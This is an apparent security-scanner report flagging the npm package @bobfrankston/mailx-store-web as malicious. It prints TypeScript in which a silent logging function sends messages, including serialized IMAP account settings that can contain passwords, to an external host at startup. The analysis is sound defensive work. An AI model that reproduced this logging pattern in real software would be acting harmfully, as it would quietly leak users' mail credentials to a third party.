@bobfrankston/mailx-store-web@0.1.100: Malicious npm security | LPM Firewall

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@bobfrankston/mailx-store-web@0.1.100: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.296 matchedPath = packages/mailx-store-web/worker-bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.296 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 86c6c770dc430ab0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.99 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.99 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

55/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg: string): void { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ } }

High

Ai Review Evidence

The Android bootstrap sends verbose logs to an unrelated external host.

android-bootstrap.tsView on unpkg · L55

1540let setUp = 0; for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) { vlog(`init: ${account.id} disabled, skipping`);

High

Ai Review Evidence

Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code.

android-bootstrap.tsView on unpkg · L1540

161try { const provider = new ImapWebProvider({ server: account.imap.host, port: account.imap.port || 993, username: account.imap.user, password: account.imap.password, inactivityTimeout: 300000, // 300s for slow Dovecot fetchChunkSize: 10, fetchChunkSizeMax: 100, }, () => new BridgeTcpTransport());

High

Ai Review Evidence

Source & flagged code

7 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.296 matchedPath = packages/mailx-store-web/worker-bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.296 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 86c6c770dc430ab0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.99 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.99 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

Lines 35-75typescript

35let syncManager: AndroidSyncManager;

36const eventHandlers: ((event: any) => void)[] = [];

37

38// ── Event emitter ──

Lines 141-181typescript

141 // as-is. The Android bootstrap re-runs the account load periodically;

142 // recreating the provider each time built a fresh ImapWebProvider +

143 // BridgeTransport and replaced the live one — which orphaned any

144 // body fetch in flight on the old provider, so `fetchOne` came back

145 // with no source and the message showed "Body parsed empty". A real

146 // config change is rare and handled by a restart.

147 if (this.providers.has(account.id)) {

148 vlog(`addAccount ${account.id}: provider already registered — keeping it`);

149 return;

150 }

151 if (this.isGmailAccount(account)) {

152 const tokenProvider = this.tokenProviders.get(account.id);

153 if (tokenProvider) {

154 this.providers.set(account.id, new GmailApiWebProvider(tokenProvider));

155 console.log(`[sync] ${account.id}: Gmail API provider registered`);

156 } else {

157 console.warn(`[sync] ${account.id}: no token provider`);

158 }

159 } else if (account.imap?.host && account.imap?.user) {

160 // Generic IMAP account — use BridgeTransport through MAUI's TCP bridge

161 try {

162 const provider = new ImapWebProvider({

163 server: account.imap.host,

164 port: account.imap.port || 993,

165 username: account.imap.user,

166 password: account.imap.password,

167 inactivityTimeout: 300000, // 300s for slow Dovecot

168 fetchChunkSize: 10,

169 fetchChunkSizeMax: 100,

170 }, () => new BridgeTcpTransport());

High

Ai Review Evidence

Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code.

android-bootstrap.tsView on unpkg · L161

171 this.providers.set(account.id, provider);

172 this.imapAccountConfigs.set(account.id, account);

173 vlog(`addAccount ${account.id}: IMAP provider registered (${account.imap.host}:${account.imap.port})`);

174 console.log(`[sync] ${account.id}: IMAP provider registered (${account.imap.host})`);

175 } catch (e: any) {

176 vlog(`addAccount ${account.id}: IMAP provider FAILED: ${e.message}`);

177 console.error(`[sync] ${account.id}: IMAP provider failed: ${e.message}`);

178 }

179 } else {

180 vlog(`addAccount ${account.id}: no imap config, skipping`);

181 }

Lines 1372-1412typescript

1372

1373// ── Initialization ──

1374

1375async function waitForNativeBridge(timeoutMs: number = 5000): Promise<void> {

1376 if ((window as any)._nativeBridge) return;

1377 return new Promise((resolve) => {

1378 const start = Date.now();

1379 const check = () => {

1380 if ((window as any)._nativeBridge || Date.now() - start > timeoutMs) {

1381 resolve();

1382 } else {

1383 setTimeout(check, 50);

1384 }

1385 };

1386 // Also listen for the event C# dispatches after bridge injection

1387 window.addEventListener("nativebridgeready", () => resolve(), { once: true });

1388 check();

1389 });

1390}

1391

1392export function initAndroid(): Promise<void> {

1393 // C158: idempotency guard. The 2026-07-22 fold/unfold logit trail showed

1394 // ONE WebView reload executing the boot module TWICE — duplicate "bridge

1395 // installed", duplicate GDrive lookups, tripled OAuth launches. The

1396 // guard lives on window (not a module local) so it holds even when the

1397 // module itself is instantiated twice (bundle + package-path specifiers

1398 // resolve to distinct module instances).

1399 const w = window as any;

1400 if (w.__rmfInitAndroid) {

1401 console.warn("[android] initAndroid called again — duplicate suppressed (C158)");

High

Ai Review Evidence

The logging is silent and activates during normal Android initialization.

android-bootstrap.tsView on unpkg · L1392

1402 vlog("C158: duplicate initAndroid call suppressed");

1403 return w.__rmfInitAndroid;

1404 }

1405 return w.__rmfInitAndroid = initAndroidOnce();

1406}

1407

1408async function initAndroidOnce(): Promise<void> {

1409 console.log("[android] Initializing mailx (main-thread mode)...");

1410 // First words on screen. A fresh install has no local accounts, so the

1411 // UI's zero-account path used to paint an empty pane while the Drive

1412 // pull ran — "blank screen and 'syncing' at the bottom" (Bob

Lines 1520-1560typescript

1520 } else {

1521 console.warn(`[android] List folder failed: ${lr.status}`);

1522 }

1523 } catch (e: any) {

1524 console.warn(`[android] List debug: ${e.message}`);

1525 }

1526 // Shared allowlist/preferences: pull NOW that Drive auth is

1527 // live, instead of waiting for the first message read to

1528 // trigger the lazy revalidate (which is itself served stale).

1529 primeSharedConfigs()

1530 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1531 // Read accounts directly from GDrive (bypass IndexedDB cache)

1532 narrate("Loading accounts from Google Drive…");

1533 const gdriveAccounts = await loadAccountsFromCloud();

1534 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1535 if (gdriveAccounts.length > 0) {

1536 // Use canonical GDrive accounts (upsert handles overwrites)

1537 accounts = gdriveAccounts;

1538 const enabled = accounts.filter(a => a.enabled);

1539 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1540 let setUp = 0;

1541 for (const account of accounts) {

1542 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

1543 if (!account.enabled) {

1544 vlog(`init: ${account.id} disabled, skipping`);

High

Ai Review Evidence

Initialization serializes each account IMAP configuration into that log stream; such configuration can include the password used later by the same code.

android-bootstrap.tsView on unpkg · L1540

1545 continue;

1546 }

1547 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1548 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1549 if (domain === "gmail.com" || domain === "googlemail.com") {

1550 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1551 }

1552 await syncManager.addAccount(account);

1553 }

1554 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1555 // C157: sync NOW. The boot-time syncAll ran before these

1556 // providers existed (fresh install: zero local accounts),

1557 // so without this kick the folder tree stayed empty until

1558 // the next 60 s poll tick — on top of OAuth consent time,

1559 // that read as "frozen for minutes". syncAll's inbox

1560 // phase lists folders first, so the tree paints in